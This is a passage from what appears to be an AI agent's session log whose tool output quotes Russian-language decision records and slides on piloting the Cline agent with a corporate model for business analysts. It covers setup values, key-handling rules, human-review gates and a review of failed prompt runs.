\u0432\u044b\u0437\u0432\u0430\u0442\u044c. \u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u0430\u043b\u0438\u0447\u0438\u0435 `bash` \u0438 `tool calls` \u043d\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u0437\u043e\u0432 Python-\u0433\u0435\u0439\u0442\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435.\\n47:2. \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c **\u0441\u0432\u043e\u0439** \u043a\u043b\u044e\u0447 \u0432 AI Core. \u041e\u0442\u043a\u0440\u044b\u0442\u044c Cline Settings \u2192 API Provider `OpenAI Compatible`; \u0443\u043a\u0430\u0437\u0430\u0442\u044c Base URL, \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 AI Core, \u043c\u043e\u0434\u0435\u043b\u044c `gpu-default`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, Context Window `114688`, Max Output Tokens `16384`, \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c image support. \u0414\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0434\u043b\u0438\u043d\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 `gpu-deep` \u0438\u043c\u0435\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u0438\u043c\u0438\u0442\u044b `98304`/`32768`; \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0438\u043b\u043e\u0442\u0430. \u042d\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u0437\u044f\u0442\u044b \u0438\u0437 [\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438](https://github.com/user-attachments/files/32652321/default.txt), \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u0432 Cline. HTTP \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0438\u0448\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438; \u043a\u043b\u044e\u0447 \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442.\\n48:3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\n50:5. \u0412 VS Code \u043e\u0442\u043a\u0440\u044b\u0442\u044c runtime-\u043f\u0430\u043f\u043a\u0443, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0435 \u0430\u0432\u0442\u043e\u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0434\u0430\u0442\u044c Cline \u043e\u0434\u0438\u043d `TASK-0001` \u0441 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c/\u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `n0`, \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c route \u0447\u0435\u0440\u0435\u0437 runner. \u041f\u043e\u0441\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0448\u0430\u0433\u0430 \u0411\u0410 \u0432\u0438\u0434\u0438\u0442 \u0443\u0437\u0435\u043b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043a\u043e\u043c\u0430\u043d\u0434\u0443/exit code \u0433\u0435\u0439\u0442\u0430 \u0438 Markdown checkpoint; \u043f\u0440\u0438 FAIL \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u0414\u043b\u044f Release \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 Working, `validate-working`, `compile`, `validate-release`, human review.\\n----\\nprojects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md:42:\u0412 \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0435 `AGENTS.md` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0434\u043b\u044f Cline `.clinerules` \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u043d\u0435\u0433\u043e \u0438 \u043d\u0430 \u044f\u0432\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 runner. \u041d\u0430\u0432\u044b\u043a\u0438, \u043d\u0443\u0436\u043d\u044b\u0435 \u0434\u043b\u044f Cline, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0431\u0435\u0437 \u043a\u043e\u043f\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u043d\u043e\u0440\u043c\u044b. \u041d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0442\u044c agent edit `tools/`, `contracts/`, `routes/` \u0438\u043b\u0438 manifest \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043d\u0438\u0445 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 Source PR \u0438 recompilation. \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0411\u0410/CI, \u0430 \u043d\u0435 \u00ab\u0447\u0442\u0435\u043d\u0438\u0435\u043c Python \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u00bb. CI \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\u0437 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0433\u0435\u0439\u0442\u0430.\\nprojects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md:48:3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:43:- \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043b\u0430\u0434\u043a\u0443 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438;\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:193:\u251c\u2500\u2500 runs/                          # \u0442\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:281:\u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d.\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:314:\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f. \u041e\u0442\u0447\u0451\u0442 \u0441 \u0441\u0435\u043a\u0440\u0435\u0442\u0430\u043c\u0438, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043b\u0438 \u0441\u044b\u0440\u044b\u043c\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:345:\u0434\u043e\u043c\u0435\u043d\u0435. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e `ba-ai-playbook` \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\nprojects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md:366:| \u0425\u0440\u0430\u043d\u0438\u0442\u044c debug-\u0441\u0435\u0441\u0441\u0438\u0438 \u043a\u0430\u043a `runs/DEBUG-*` | \u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u043e: \u0434\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u043a\u0430 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0437\u0430\u0433\u0440\u044f\u0437\u043d\u044f\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u043e\u0446\u0435\u043d\u043a\u0443 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. |\",\n[2026-09-29T07:55:26.039Z] [INFO]         \"is_error\": false\n[2026-09-29T07:55:26.039Z] [INFO]       }\n[2026-09-29T07:55:26.039Z] [INFO]     ]\n[2026-09-29T07:55:26.039Z] [INFO]   },\n[2026-09-29T07:55:26.039Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:26.039Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:26.039Z] [INFO]   \"uuid\": \"5164c1ce-a710-4c87-bbf1-b76c3808ce77\",\n[2026-09-29T07:55:26.039Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:26.030Z\",\n[2026-09-29T07:55:26.039Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:26.039Z] [INFO]     \"stdout\": \"## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435, UI \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c; \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438;\\n\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0442\u043e\u0447\u043d\u043e\u0433\u043e\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430. \u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n----\\n  \u043d\u043e \u043d\u0438 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0430\u0433\u0435\u043d\u0442\u043e\u043c \u0432 \u0441\u0440\u0435\u0434\u0435: \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a\\n  \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f\u043c\u0438, \u0430 \u043d\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c\u0438.\\n- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437\\n  \u0447\u0435\u0442\u044b\u0440\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n- \u0421\u0440\u0435\u0437 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441: \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 `security` \u0438\\n  `hardware`, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u0441\u0440\u0435\u0437\u043e\u043c \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f.\\n- \u041f\u043e\u0440\u043e\u0433\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u044b\u0431\u0440\u0430\u043d\u044b \u043a\u0430\u043a \u043f\u0435\u0440\u0432\u043e\u0435 \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u0434\u043b\u0435\u0436\u0430\u0442 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0443 \u043f\u043e\u0441\u043b\u0435\\n----\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0438\u044e\u043d\u044c:** \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0432\u0435\u0431-\u0447\u0430\u0442\u0435; \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb\\n  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438: \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438\\n  \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n----\\n28:\u041d\u0443\u0436\u0435\u043d \u043e\u0434\u0438\u043d OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0433\u0435\u043d\u0442 \u0434\u043b\u044f \u0411\u0410 \u043e\u0442 junior \u0434\u043e expert \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e AI Core \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c BCREQ. [\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f AI Core](https://github.com/user-attachments/files/32652321/default.txt) \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 OpenAI-compatible `/chat/completions`, `tool calls`, \u043c\u043e\u0434\u0435\u043b\u044c\u043d\u044b\u0435 ID `gpu-default` \u0438 `gpu-deep`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438 HTTP endpoint, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN. \u041e\u043d\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 **API \u043c\u043e\u0434\u0435\u043b\u0438**. \u041e\u043d\u0430 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b Jira/Confluence, \u0438\u0445 URL, transport, tool names \u0438\u043b\u0438 \u043f\u0440\u0430\u0432\u0430. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u00ab\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a Mango AI API \u0441\u0430\u043c\u043e \u0434\u0430\u0451\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira/Confluence\u00bb \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u044d\u0442\u0438\u043c 